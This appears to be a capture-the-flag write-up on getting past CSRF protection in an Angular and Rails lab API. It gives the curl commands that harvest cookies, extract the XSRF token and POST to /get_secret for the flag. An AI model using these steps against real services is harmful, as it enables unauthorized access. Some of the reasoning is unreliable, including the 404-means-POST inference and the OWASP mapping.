API 06 – CSRF Bypass Write-up

We add some headers in our request to bypass the csrf protection

Overview#

This challenge demonstrates how to bypass CSRF protection in an Angular + Ruby on Rails application by abusing how the backend trusts the X-XSRF-TOKEN header.

The goal is to retrieve the secret key from the protected endpoint /get_secret.

Application Context#

• Frontend: Angular
• Backend: Ruby on Rails
• CSRF mechanism:
  • CSRF token stored in a cookie named XSRF-TOKEN
  • Token must be sent in the X-XSRF-TOKEN HTTP header
  • Session managed via _shopping_session cookie

Step 1 – Identify the Target Endpoint#

The endpoint /get_secret is not accessible via GET:

curl -I https://TARGET/get_secret

Result:

• 404 Not Found → indicates the endpoint expects another HTTP method (POST).

Step 2 – Initialize a Valid Session#

Visit the main page to obtain cookies:

curl -c cookies.txt https://TARGET/

This stores cookies locally in cookies.txt.

Step 3 – Extract CSRF Token#

Inspect the cookies file:

cat cookies.txt | grep XSRF

You should see:

• _shopping_session
• XSRF-TOKEN

Both are required and must originate from the same request flow.

Step 4 – Understand the CSRF Weakness#

The backend:

• Trusts the X-XSRF-TOKEN header
• Does NOT strictly validate the request origin or referer

This allows replaying a valid session + token pair.

Step 5 – Send the Exploit Request#

Perform a POST request using:

• Stored cookies
• Correct CSRF header name (X-XSRF-TOKEN)

curl -X POST https://TARGET/get_secret \
  -b cookies.txt \
  -H "X-XSRF-TOKEN: <TOKEN_VALUE>"

Replace <TOKEN_VALUE> with the value extracted from cookies.txt.

Step 6 – Successful Exploitation#

If successful, the server responds with:

{
  "PTLAB_KEY": "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"
}

This confirms the CSRF bypass.

Root Cause Analysis#

• CSRF token stored in a cookie accessible to the client
• Backend trusts header value without strict origin checks
• No additional validation such as Referer or Origin enforcement

Security Lesson#

CSRF protection should:

• Bind tokens to the user session
• Validate request origin and referer
• Avoid relying solely on client-controlled headers

OWASP Mapping#

• OWASP API Security Top 10
• API6: Mass Assignment / CSRF-related trust issues

X-XSRF-TOKEN
X-CSRF-Token
Origin
Referer
Authorization
Cookie
Set-Cookie
User-Agent
Content-Type
Accept
Accept-Encoding
Accept-Language
Host
Connection
Cache-Control
Pragma
X-Requested-With
X-Forwarded-For
X-Frame-Options
Strict-Transport-Security
Content-Security-Policy
X-Content-Type-Options
X-Permitted-Cross-Domain-Policies
X-XSS-Protection

Conclusion#

This challenge highlights how misconfigured CSRF protection in APIs can be bypassed using basic HTTP tooling when trust boundaries are weak.